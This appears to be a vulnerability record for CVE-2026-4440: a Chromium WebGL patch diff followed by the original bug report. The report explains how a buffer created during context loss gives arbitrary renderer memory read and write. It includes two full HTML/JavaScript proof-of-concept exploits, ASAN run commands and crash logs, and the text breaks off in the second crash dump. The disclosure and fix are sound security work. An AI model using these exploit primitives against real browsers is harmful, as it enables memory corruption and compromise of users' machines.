CVE-2026-4440
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/modules/webgl/webgl_object.cc |
modified |
Files Changed
third_party/blink/renderer/modules/webgl/webgl_context_object_support.ccthird_party/blink/renderer/modules/webgl/webgl_context_object_support.hthird_party/blink/renderer/modules/webgl/webgl_object.ccthird_party/blink/renderer/modules/webgl/webgl_object.hthird_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h
Patch
From c1433740f3ea902fd6b15d63c4865ad60a3761f9 Mon Sep 17 00:00:00 2001 From: Kai Ninomiya <[email protected]> Date: Tue, 03 Mar 2026 22:29:26 -0800 Subject: [PATCH] Increment WebGL context generation number on context restore Objects created while the context is lost should not be valid to use after the context is restored. - Replace number_of_context_losses_ with a "context generation number" which increments on both context loss and context restore. - Technically, it would make sense to increment it only on context restore, but just in case any logic is relying on the current behavior, increment it in both places. - It's uint64_t just in case someone figures out how to increment it 4 billion times. - Remove unused WebGLRenderingContextBase::number_of_context_losses_, left over from before it was moved into WebGLContextObjectSupport. Bug: 485935305 Change-Id: I1007217c8e69cfb8de4f117e0b7845ca574579c4 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7630664 Reviewed-by: Kenneth Russell <[email protected]> Commit-Queue: Kai Ninomiya <[email protected]> Cr-Commit-Position: refs/heads/main@{#1593726} --- diff --git a/third_party/blink/renderer/modules/webgl/webgl_context_object_support.cc b/third_party/blink/renderer/modules/webgl/webgl_context_object_support.cc index 05553e1..141c6b8 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_context_object_support.cc +++ b/third_party/blink/renderer/modules/webgl/webgl_context_object_support.cc @@ -24,7 +24,10 @@ void WebGLContextObjectSupport::OnContextLost() { DCHECK(!is_lost_); - number_of_context_losses_++; + // Invalidate all past objects. + // (It may not be strictly necessary to do this here, since it's also done in + // OnContextRestored, but we did it historically, and there's no harm in it.) + context_generation_++; is_lost_ = true; gles2_interface_ = nullptr; extensions_enabled_.reset(); @@ -33,6 +36,8 @@ void WebGLContextObjectSupport::OnContextRestored( gpu::gles2::GLES2Interface* gl) { DCHECK(is_lost_); + // Invalidate all past objects. + context_generation_++; is_lost_ = false; gles2_interface_ = gl; } diff --git a/third_party/blink/renderer/modules/webgl/webgl_context_object_support.h b/third_party/blink/renderer/modules/webgl/webgl_context_object_support.h index f61cf9c2..79cfde2 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_context_object_support.h +++ b/third_party/blink/renderer/modules/webgl/webgl_context_object_support.h @@ -36,10 +36,10 @@ bool IsWebGL2() const { return is_webgl2_; } bool IsLost() const { return is_lost_; } - // How many context losses there were, to check whether a WebGLObject was - // created since the last context resoration or before that (and hence invalid - // to use). - uint32_t NumberOfContextLosses() const { return number_of_context_losses_; } + // Which "generation" the context is on (essentially, how many times it has + // been restored), to check whether a WebGLObject was created since the last + // context restoration, or before that (and hence invalid to use). + uint64_t GetContextGeneration() const { return context_generation_; } bool ExtensionEnabled(WebGLExtensionName name) const { return extensions_enabled_.test(name); @@ -68,7 +68,7 @@ std::bitset<kWebGLExtensionNameCount> extensions_enabled_ = {}; raw_ptr<gpu::gles2::GLES2Interface> gles2_interface_ = nullptr; - uint32_t number_of_context_losses_ = 0; + uint64_t context_generation_ = 0; bool is_lost_ = true; bool is_webgl2_; }; diff --git a/third_party/blink/renderer/modules/webgl/webgl_object.cc b/third_party/blink/renderer/modules/webgl/webgl_object.cc index 9d984de..07e0a9a 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_object.cc +++ b/third_party/blink/renderer/modules/webgl/webgl_object.cc @@ -33,9 +33,9 @@ WebGLObject::WebGLObject(WebGLContextObjectSupport* context) : context_(context), - cached_number_of_context_losses_(std::numeric_limits<uint32_t>::max()) { + context_generation_at_creation_(std::numeric_limits<uint64_t>::max()) { if (context_) { - cached_number_of_context_losses_ = context->NumberOfContextLosses(); + context_generation_at_creation_ = context->GetContextGeneration(); } } @@ -46,7 +46,7 @@ // the objects they ever created, so there's no way to invalidate them // eagerly during context loss. The invalidation is discovered lazily. return (context == context_ && context_ != nullptr && - cached_number_of_context_losses_ == context->NumberOfContextLosses()); + context_generation_at_creation_ == context->GetContextGeneration()); } void WebGLObject::SetObject(GLuint object) { @@ -71,7 +71,7 @@ return; } - if (context_->NumberOfContextLosses() != cached_number_of_context_losses_) { + if (context_->GetContextGeneration() != context_generation_at_creation_) { // This object has been invalidated. return; } diff --git a/third_party/blink/renderer/modules/webgl/webgl_object.h b/third_party/blink/renderer/modules/webgl/webgl_object.h index bb56df0..97caa90e 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_object.h +++ b/third_party/blink/renderer/modules/webgl/webgl_object.h @@ -123,9 +123,9 @@ GLuint object_ = 0; - // This was the number of context losses of the object's associated - // WebGLContext at the time this object was created. - uint32_t cached_number_of_context_losses_; + // The context generation number of the associated WebGLContext when the + // object was created, to prevent reuse in later generations. + uint64_t context_generation_at_creation_; unsigned attachment_count_ = 0; diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h index 30d910ed..89229956 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h +++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h @@ -2121,8 +2121,6 @@ bool has_been_drawn_to_ = false; - uint32_t number_of_context_losses_ = 0; - // Tracks if the context has ever called glBeginPixelLocalStorageANGLE. If it // has, we need to start using the pixel local storage interrupt mechanism // when we take over the client's context.
Original Bug Report
Arbitrary Memory Read/Write via WebGLBuffer Created During Context Loss Combined with PBO Operations
Arbitrary Memory Read/Write via WebGLBuffer Created During Context Loss Combined with PBO Operations
Summary
A state synchronization failure exists between Blink and the GPU command decoder when handling WebGLBuffer objects created during context loss. When a buffer is created while the WebGL context is lost, its internal GL buffer ID remains zero. After context restoration, binding this zombie buffer to PIXEL_PACK_BUFFER or PIXEL_UNPACK_BUFFER causes Blink to believe a PBO is bound while the GPU layer sees no buffer. This enables two complementary attack primitives: calling readPixels with an offset parameter results in arbitrary memory writes, while calling texImage2D with an offset parameter results in arbitrary memory reads. Together these provide a complete read/write primitive in the renderer process where the attacker controls the addresses, content, and lengths.
Bisect
The vulnerability has existed since the introduction of WebGL2 with Pixel Buffer Object support. The lack of validation for WebGLBuffer::HasObject() in the readPixels and texImage2D PBO paths has been present since the initial implementation.
PBO readPixels support: 05cdea84b962a (WebGL 2: add readPixels API to read pixels into pixel pack buffer)
- Date: 2015-09-02
- Author: [email protected]
- Review: https://codereview.chromium.org/1300573002
PBO texImage2D support: 96c5d1c0d42d4 (Add WebGL 2 functions texImage2D/texImage3D with unpack buffer.)
- Date: 2016-02-23
- Author: [email protected]
Root Cause
The vulnerability originates from how WebGLBuffer objects are constructed when the context is in a lost state. In the WebGLBuffer constructor, the GL buffer is only generated when the context is not lost.
// third_party/blink/renderer/modules/webgl/webgl_buffer.cc
WebGLBuffer::WebGLBuffer(WebGLContextObjectSupport* ctx)
: WebGLObject(ctx), initial_target_(0), size_(0) {
if (!ctx->IsLost()) {
GLuint buffer;
ctx->ContextGL()->GenBuffers(1, &buffer);
SetObject(buffer);
}
}
When the context is lost, SetObject is never called, leaving the internal object_ member at its default value of zero. The createBuffer function does not check isContextLost before instantiating the buffer, allowing the creation of these zombie buffers.
When the context is restored and this zombie buffer is bound to PIXEL_PACK_BUFFER or PIXEL_UNPACK_BUFFER, the binding succeeds at the Blink level. The bound buffer member is set to the non-null WebGLBuffer pointer. However, the actual GL binding uses ObjectOrZero which returns zero, effectively binding no buffer at the GPU layer.
A crucial detail enables exploitation with arbitrary addresses. In BufferDataImpl, the buffer size is set before the GL call executes.
// third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
void WebGLRenderingContextBase::BufferDataImpl(GLenum target,
int64_t size,
const void* data,
GLenum usage) {
WebGLBuffer* buffer = ValidateBufferDataTarget("bufferData", target);
if (!buffer)
return;
// ...
buffer->SetSize(size); // Size set BEFORE GL call
ContextGL()->BufferData(target, static_cast<GLsizeiptr>(size), data, usage);
}
This means even though the GPU-side BufferData fails because no buffer is bound, the Blink-side size_ is already updated. By calling bufferData with a size larger than the intended attack offset, the validation check passes, allowing subsequent operations to proceed to the GPU layer.
Arbitrary Write via readPixels
The readPixels function that accepts an offset parameter only verifies that bound_pixel_pack_buffer_ is non-null, without checking whether the buffer has a valid GL object.
// third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc
void WebGL2RenderingContextBase::readPixels(GLint x, GLint y,
GLsizei width, GLsizei height,
GLenum format, GLenum type,
int64_t offset) {
// ...
WebGLBuffer* buffer = bound_pixel_pack_buffer_.Get();
if (!buffer) {
SynthesizeGLError(GL_INVALID_OPERATION, "readPixels",
"no PIXEL_PACK buffer bound");
return;
}
// No check for buffer->HasObject()!
ContextGL()->ReadPixels(x, y, width, height, format, type,
reinterpret_cast<void*>(offset));
}
In GLES2Implementation::ReadPixels, the bound_pixel_pack_buffer_ check uses the actual GL buffer ID which is zero.
// gpu/command_buffer/client/gles2_implementation.cc
if (bound_pixel_pack_buffer_) {
helper_->ReadPixels(..., offset.ValueOrDefault(0), ...);
return;
}
// No PBO path: treat pixels as real pointer
int8_t* dest = reinterpret_cast<int8_t*>(pixels);
// ...
UNSAFE_TODO(memcpy(dest, src, copy_size));
Since bound_pixel_pack_buffer_ is zero at the GPU layer, the code falls through to the non-PBO path where it interprets the offset value as an actual memory address and performs a memcpy to that address.
Arbitrary Read via texImage2D
Similarly, the texImage2D function that accepts an offset parameter only verifies that bound_pixel_unpack_buffer_ is non-null.
// third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc
void WebGL2RenderingContextBase::texImage2D(GLenum target, GLint level,
GLint internalformat,
GLsizei width, GLsizei height,
GLint border, GLenum format,
GLenum type, int64_t offset) {
// ...
if (!bound_pixel_unpack_buffer_) {
SynthesizeGLError(GL_INVALID_OPERATION, "texImage2D",
"no bound PIXEL_UNPACK_BUFFER");
return;
}
// No check for buffer->HasObject()!
ContextGL()->TexImage2D(..., reinterpret_cast<const void*>(offset));
}
In GLES2Implementation::TexImage2D, the bound_pixel_unpack_buffer_ check uses the actual GL buffer ID which is zero.
// gpu/command_buffer/client/gles2_implementation.cc
if (bound_pixel_unpack_buffer_) {
helper_->TexImage2D(..., offset.ValueOrDefault(0));
return;
}
// No PBO path: treat pixels as real pointer, advance and copy
pixels = UNSAFE_TODO(reinterpret_cast<const int8_t*>(pixels) + skip_size);
// ...
CopyRectToBuffer(pixels, height, unpadded_row_size, padded_row_size,
buffer_pointer, service_padded_row_size);
Since bound_pixel_unpack_buffer_ is zero at the GPU layer, the code falls through to the non-PBO path where it interprets the offset value as an actual memory address and reads data from that address.
Reproduce
Arbitrary Write PoC
Save the following HTML file and open it in Chrome with ASAN enabled.
<!DOCTYPE html>
<html>
<head>
<title>WebGL PBO Arbitrary Write PoC</title>
<style>
body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
pre { white-space: pre-wrap; }
.error { color: #f00; }
.warn { color: #ff0; }
.success { color: #0ff; }
</style>
</head>
<body>
<h2>WebGL2 PBO Context Lost Arbitrary Write PoC</h2>
<canvas id="canvas" width="64" height="64"></canvas>
<pre id="log"></pre>
<script>
const logEl = document.getElementById('log');
function log(msg, type = '') {
const line = document.createElement('span');
line.className = type;
line.textContent = msg + '\n';
logEl.appendChild(line);
console.log(msg);
}
async function main() {
log('=== WebGL2 PBO Arbitrary Write Vulnerability PoC ===\n');
const canvas = document.getElementById('canvas');
const gl = canvas.getContext('webgl2');
if (!gl) {
log('ERROR: WebGL2 not available', 'error');
return;
}
log('[1] WebGL2 context created', 'success');
const loseContextExt = gl.getExtension('WEBGL_lose_context');
if (!loseContextExt) {
log('ERROR: WEBGL_lose_context extension not available', 'error');
return;
}
log('[2] WEBGL_lose_context extension acquired', 'success');
let zombieBuffer = null;
canvas.addEventListener('webglcontextlost', (e) => {
log('\n[EVENT] webglcontextlost fired');
e.preventDefault();
log(' preventDefault() called - context can be restored');
zombieBuffer = gl.createBuffer();
log(' Created zombie buffer during context lost: ' + zombieBuffer);
log(' Internal GL buffer ID should be 0 (not generated)', 'warn');
setTimeout(() => {
log('\n[3] Calling restoreContext()...');
loseContextExt.restoreContext();
}, 100);
});
canvas.addEventListener('webglcontextrestored', async (e) => {
log('\n[EVENT] webglcontextrestored fired', 'success');
if (!zombieBuffer) {
log('ERROR: zombieBuffer is null', 'error');
return;
}
log('\n[4] Context restored - zombie buffer still exists');
log(' zombieBuffer object: ' + zombieBuffer);
log('\n[5] Binding zombie buffer to PIXEL_PACK_BUFFER...');
gl.bindBuffer(gl.PIXEL_PACK_BUFFER, zombieBuffer);
let err = gl.getError();
if (err !== gl.NO_ERROR) {
log(' bindBuffer error: 0x' + err.toString(16), 'error');
return;
}
log(' bindBuffer succeeded (Blink thinks PBO is bound)', 'success');
log(' But GPU layer has bound_pixel_pack_buffer_ = 0!', 'warn');
const bufferSize = 0x50000000;
log('\n[6] Calling bufferData to set size = 0x' + bufferSize.toString(16) + ' (' + bufferSize + ')');
gl.bufferData(gl.PIXEL_PACK_BUFFER, bufferSize, gl.STREAM_READ);
err = gl.getError();
log(' bufferData result: ' + (err === gl.NO_ERROR ? 'NO_ERROR' : 'GL_ERROR 0x' + err.toString(16)));
log('\n[7] Drawing pattern to framebuffer (attacker-controlled data)');
gl.clearColor(0.5, 0.25, 0.75, 1.0);
gl.clear(gl.COLOR_BUFFER_BIT);
const attackAddr = 0x41414141;
log('\n[8] Attempting readPixels with offset = 0x' + attackAddr.toString(16), 'warn');
log(' Blink: PBO bound, offset = 0x' + attackAddr.toString(16));
log(' GPU: No PBO, pixels = (void*)0x' + attackAddr.toString(16) + ' <- ARBITRARY WRITE!', 'error');
try {
log('\n[9] Calling gl.readPixels(0, 0, 4, 4, RGBA, UNSIGNED_BYTE, 0x' + attackAddr.toString(16) + ')');
gl.readPixels(0, 0, 4, 4, gl.RGBA, gl.UNSIGNED_BYTE, attackAddr);
err = gl.getError();
if (err === gl.NO_ERROR) {
log(' readPixels returned NO_ERROR', 'warn');
log(' VULNERABILITY CONFIRMED: GPU tried to write to address 0x' + attackAddr.toString(16), 'error');
} else {
log(' readPixels returned GL_ERROR: 0x' + err.toString(16));
}
} catch (e) {
log(' Exception: ' + e, 'error');
log(' (Crash expected - GPU tried to memcpy to 0x' + attackAddr.toString(16) + ')', 'warn');
}
log('\n=== Summary ===');
log('The vulnerability allows arbitrary memory writes in the renderer process:');
log('1. Create WebGLBuffer during context lost -> object_ = 0');
log('2. Restore context, bind zombie buffer to PIXEL_PACK_BUFFER');
log('3. Blink thinks PBO is bound, GPU thinks no PBO');
log('4. readPixels(offset) -> GPU does memcpy to (void*)offset');
log('5. Attacker controls: write address (offset), data (pixels), length (w*h*4)');
});
log('\n[3] Triggering context loss...');
loseContextExt.loseContext();
}
main().catch(e => log('Error: ' + e, 'error'));
</script>
</body>
</html>
Run Chrome with ASAN enabled.
export ASAN_OPTIONS="detect_odr_violation=0"
./out/asan-release/chrome \
--no-sandbox \
--user-data-dir=/tmp/webgl_pbo_test \
--disable-extensions \
--no-first-run \
--enable-logging=stderr \
"file:///path/to/poc_write.html"
The following output demonstrates the arbitrary write vulnerability being triggered.
[1021508:1021508:0220/114011.246986:INFO:CONSOLE:25] "[1] WebGL2 context created", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.247320:INFO:CONSOLE:25] "[2] WEBGL_lose_context extension acquired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.247479:INFO:CONSOLE:25] "
[3] Triggering context loss...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.289547:INFO:CONSOLE:25] "
[EVENT] webglcontextlost fired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.289705:INFO:CONSOLE:25] " preventDefault() called - context can be restored", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.289846:INFO:CONSOLE:25] " Created zombie buffer during context lost: [object WebGLBuffer]", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.289969:INFO:CONSOLE:25] " Internal GL buffer ID should be 0 (not generated)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.391774:INFO:CONSOLE:25] "
[3] Calling restoreContext()...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.597957:INFO:CONSOLE:25] "
[EVENT] webglcontextrestored fired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.598287:INFO:CONSOLE:25] "
[5] Binding zombie buffer to PIXEL_PACK_BUFFER...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.798587:INFO:CONSOLE:25] " bindBuffer succeeded (Blink thinks PBO is bound)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.798801:INFO:CONSOLE:25] " But GPU layer has bound_pixel_pack_buffer_ = 0!", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.798964:INFO:CONSOLE:25] "
[6] Calling bufferData to set size = 0x50000000 (1342177280)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021547:1021547:0220/114011.809697:ERROR:gpu/command_buffer/service/gl_utils.cc:427] [.WebGL-0x7da0b4f2fa80] GL_INVALID_OPERATION: glBufferData: A buffer must be bound.
[1021508:1021508:0220/114011.810908:INFO:CONSOLE:25] " bufferData result: GL_ERROR 0x502", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.811259:INFO:CONSOLE:25] "
[8] Attempting readPixels with offset = 0x41414141", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
[1021508:1021508:0220/114011.811806:INFO:CONSOLE:25] "
[9] Calling gl.readPixels(0, 0, 4, 4, RGBA, UNSIGNED_BYTE, 0x41414141)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_write.html (25)
Received signal 11 SEGV_MAPERR 000041414141
#0 0x55dfa0b56006 (/home/user/chromium/src/out/asan-release/chrome+0x6791005)
#1 0x7ff13375eb72 (/home/user/chromium/src/out/asan-release/libbase.so+0x75eb71)
#2 0x7ff1337043e3 (/home/user/chromium/src/out/asan-release/libbase.so+0x7043e2)
#3 0x7ff13375de0b (/home/user/chromium/src/out/asan-release/libbase.so+0x75de0a)
#4 0x7ff0c2e42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
#5 0x7ff0c2ec49fb (/usr/lib/x86_64-linux-gnu/libc.so.6+0xc49fa)
#6 0x55dfa0bae23c (/home/user/chromium/src/out/asan-release/chrome+0x67e923b)
#7 0x7ff0c5b18ac5 (/home/user/chromium/src/out/asan-release/libgpu_command_buffer_client_gles2_implementation.so+0xbfac4)
#8 0x7ff0cb70ec53 (/home/user/chromium/src/out/asan-release/libblink_modules.so+0x4d0ec52)
#9 0x7ff0c96a6262 (/home/user/chromium/src/out/asan-release/libblink_modules.so+0x2ca6261)
#10 0x7bf096c106a4 <unknown>
r8: 0000000008282828 r9: 0000000041414180 r10: 0000000008282830 r11: 000000008827a828
r12: 000000008827a830 r13: ffffffffffffffff r14: 0000000000000040 r15: 00000f7e967e9d00
di: 0000000041414141 si: 00007bf0004a4040 bp: 00007ffece9eaa30 bx: 0000000000000000
dx: 0000000000000040 ax: 0000000041414141 cx: 000000008827a830 sp: 00007ffece9ea1e8
ip: 00007ff0c2ec49fb efl: 0000000000010246 cgf: 002b000000000033 erf: 0000000000000006
trp: 000000000000000e msk: 0000000000000000 cr2: 0000000041414141
[end of stack trace]
The crash at cr2: 0000000041414141 with erf: 0000000000000006 confirms that the GPU layer attempted to write to the attacker-controlled address 0x41414141.
Arbitrary Read PoC
Save the following HTML file and open it in Chrome with ASAN enabled.
<!DOCTYPE html>
<html>
<head>
<title>WebGL PBO Arbitrary Read PoC</title>
<style>
body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
pre { white-space: pre-wrap; }
.error { color: #f00; }
.warn { color: #ff0; }
.success { color: #0ff; }
</style>
</head>
<body>
<h2>WebGL2 PBO Context Lost Arbitrary Read PoC</h2>
<canvas id="canvas" width="64" height="64"></canvas>
<pre id="log"></pre>
<script>
const logEl = document.getElementById('log');
function log(msg, type = '') {
const line = document.createElement('span');
line.className = type;
line.textContent = msg + '\n';
logEl.appendChild(line);
console.log(msg);
}
async function main() {
log('=== WebGL2 PBO Arbitrary Read Vulnerability PoC ===\n');
const canvas = document.getElementById('canvas');
const gl = canvas.getContext('webgl2');
if (!gl) {
log('ERROR: WebGL2 not available', 'error');
return;
}
log('[1] WebGL2 context created', 'success');
const loseContextExt = gl.getExtension('WEBGL_lose_context');
if (!loseContextExt) {
log('ERROR: WEBGL_lose_context extension not available', 'error');
return;
}
log('[2] WEBGL_lose_context extension acquired', 'success');
let zombieBuffer = null;
canvas.addEventListener('webglcontextlost', (e) => {
log('\n[EVENT] webglcontextlost fired');
e.preventDefault();
log(' preventDefault() called - context can be restored');
zombieBuffer = gl.createBuffer();
log(' Created zombie buffer during context lost: ' + zombieBuffer);
log(' Internal GL buffer ID should be 0 (not generated)', 'warn');
setTimeout(() => {
log('\n[3] Calling restoreContext()...');
loseContextExt.restoreContext();
}, 100);
});
canvas.addEventListener('webglcontextrestored', async (e) => {
log('\n[EVENT] webglcontextrestored fired', 'success');
if (!zombieBuffer) {
log('ERROR: zombieBuffer is null', 'error');
return;
}
log('\n[4] Context restored - zombie buffer still exists');
log(' zombieBuffer object: ' + zombieBuffer);
log('\n[5] Binding zombie buffer to PIXEL_UNPACK_BUFFER...');
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, zombieBuffer);
let err = gl.getError();
if (err !== gl.NO_ERROR) {
log(' bindBuffer error: 0x' + err.toString(16), 'error');
return;
}
log(' bindBuffer succeeded (Blink thinks PBO is bound)', 'success');
log(' But GPU layer has bound_pixel_unpack_buffer_ = 0!', 'warn');
const bufferSize = 0x50000000;
log('\n[6] Calling bufferData to set size = 0x' + bufferSize.toString(16));
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, bufferSize, gl.STREAM_READ);
err = gl.getError();
log(' bufferData result: ' + (err === gl.NO_ERROR ? 'NO_ERROR' : 'GL_ERROR 0x' + err.toString(16)));
log('\n[7] Creating texture for upload...');
const texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
const attackAddr = 0x41414141;
log('\n[8] Attempting texImage2D with offset = 0x' + attackAddr.toString(16), 'warn');
log(' Blink: PBO bound, offset = 0x' + attackAddr.toString(16));
log(' GPU: No PBO, pixels = (void*)0x' + attackAddr.toString(16) + ' <- ARBITRARY READ!', 'error');
try {
log('\n[9] Calling gl.texImage2D(TEXTURE_2D, 0, RGBA, 4, 4, 0, RGBA, UNSIGNED_BYTE, 0x' + attackAddr.toString(16) + ')');
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 4, 4, 0, gl.RGBA, gl.UNSIGNED_BYTE, attackAddr);
err = gl.getError();
if (err === gl.NO_ERROR) {
log(' texImage2D returned NO_ERROR', 'warn');
log(' VULNERABILITY CONFIRMED: GPU tried to read from address 0x' + attackAddr.toString(16), 'error');
} else {
log(' texImage2D returned GL_ERROR: 0x' + err.toString(16));
}
} catch (e) {
log(' Exception: ' + e, 'error');
log(' (Crash expected - GPU tried to read from 0x' + attackAddr.toString(16) + ')', 'warn');
}
log('\n=== Summary ===');
log('The vulnerability allows arbitrary memory reads in the renderer process:');
log('1. Create WebGLBuffer during context lost -> object_ = 0');
log('2. Restore context, bind zombie buffer to PIXEL_UNPACK_BUFFER');
log('3. Blink thinks PBO is bound, GPU thinks no PBO');
log('4. texImage2D(offset) -> GPU does CopyRectToBuffer from (void*)offset');
log('5. Attacker controls: read address (offset), read length (w*h*4)');
log('6. Combined with readPixels, this enables full read/write primitive');
});
log('\n[3] Triggering context loss...');
loseContextExt.loseContext();
}
main().catch(e => log('Error: ' + e, 'error'));
</script>
</body>
</html>
Run Chrome with ASAN enabled.
export ASAN_OPTIONS="detect_odr_violation=0"
./out/asan-release/chrome \
--no-sandbox \
--user-data-dir=/tmp/webgl_pbo_test \
--disable-extensions \
--no-first-run \
--enable-logging=stderr \
"file:///path/to/poc_read.html"
The following output demonstrates the arbitrary read vulnerability being triggered.
[1023209:1023209:0220/114833.924771:INFO:CONSOLE:25] "[1] WebGL2 context created", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.924947:INFO:CONSOLE:25] "[2] WEBGL_lose_context extension acquired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.925045:INFO:CONSOLE:25] "
[3] Triggering context loss...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.952744:INFO:CONSOLE:25] "
[EVENT] webglcontextlost fired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.952920:INFO:CONSOLE:25] " preventDefault() called - context can be restored", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.953114:INFO:CONSOLE:25] " Created zombie buffer during context lost: [object WebGLBuffer]", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114833.953236:INFO:CONSOLE:25] " Internal GL buffer ID should be 0 (not generated)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.054936:INFO:CONSOLE:25] "
[3] Calling restoreContext()...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.273765:INFO:CONSOLE:25] "
[EVENT] webglcontextrestored fired", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.275367:INFO:CONSOLE:25] "
[5] Binding zombie buffer to PIXEL_UNPACK_BUFFER...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.475592:INFO:CONSOLE:25] " bindBuffer succeeded (Blink thinks PBO is bound)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.475814:INFO:CONSOLE:25] " But GPU layer has bound_pixel_unpack_buffer_ = 0!", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.476028:INFO:CONSOLE:25] "
[6] Calling bufferData to set size = 0x50000000", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023298:1023298:0220/114834.487163:ERROR:gpu/command_buffer/service/gl_utils.cc:427] [.WebGL-0x7cce1372fa80] GL_INVALID_OPERATION: glBufferData: A buffer must be bound.
[1023209:1023209:0220/114834.488303:INFO:CONSOLE:25] " bufferData result: GL_ERROR 0x502", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.488432:INFO:CONSOLE:25] "
[7] Creating texture for upload...", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.488827:INFO:CONSOLE:25] "
[8] Attempting texImage2D with offset = 0x41414141", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
[1023209:1023209:0220/114834.489462:INFO:CONSOLE:25] "
[9] Calling gl.texImage2D(TEXTURE_2D, 0, RGBA, 4, 4, 0, RGBA, UNSIGNED_BYTE, 0x41414141)", source: file:///home/user/chromium/src/poc_webgl_pbo_arbitrary_read.html (25)
Received signal 11 SEGV_MAPERR 000041414141
#0 0x55daa47e2006 (/home/user/chromium/src/out/asan-release/chrome+0x6791005)
#1 0x7f1e91f5eb72 (/home/user/chromium/src/out/asan-release/libbase.so+0x75eb71)
#2 0x7f1e91f043e3 (/home/user/chromium/src/out/asan-release/libbase.so+0x7043e2)
#3 0x7f1e91f5de0b (/home/user/chromium/src/out/asan-release/libbase.so+0x75de0a)
#4 0x7f1e21642520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
#5 0x7f1e216c4881 (/usr/lib/x86_64-linux-gnu/libc.so.6+0xc4880)
#6 0x55daa483a23c (/home/user/chromium/src/out/asan-release/chrome+0x67e923b)
#7 0x7f1e243076ba (/home/user/chromium/src/out/asan-release/libgpu_command_buffer_client_gles2_implementation.so+0xae6b9)
#8 0x7f1e29f10753 (/home/user/chromium/src/out/asan-release/libblink_modules.so+0x4d10752)
#9 0x7f1e27eac9d8 (/home/user/chromium/src/out/asan-release/libblink_modules.so+0x2cac9d7)
#10 0x7b19f53d06a4 <unknown>
r8: 00000f632b587808 r9: 00007b195ac3c07f r10: 00000f632b58780f r11: 00000f63ab57f808
r12: 00000f63ab57f808 r13: ffffffffffffffff r14: 00007b195ac3c040 r15: 00007b1e126d1000
di: 00007b195ac3c040 si: 0000000041414141 bp: 00007ffd90ed0730 bx: 0000000000000000
dx: 0000000000000040 ax: 00007b195ac3c040 cx: 00000f63ab57f80f sp: 00007ffd90ecfee8
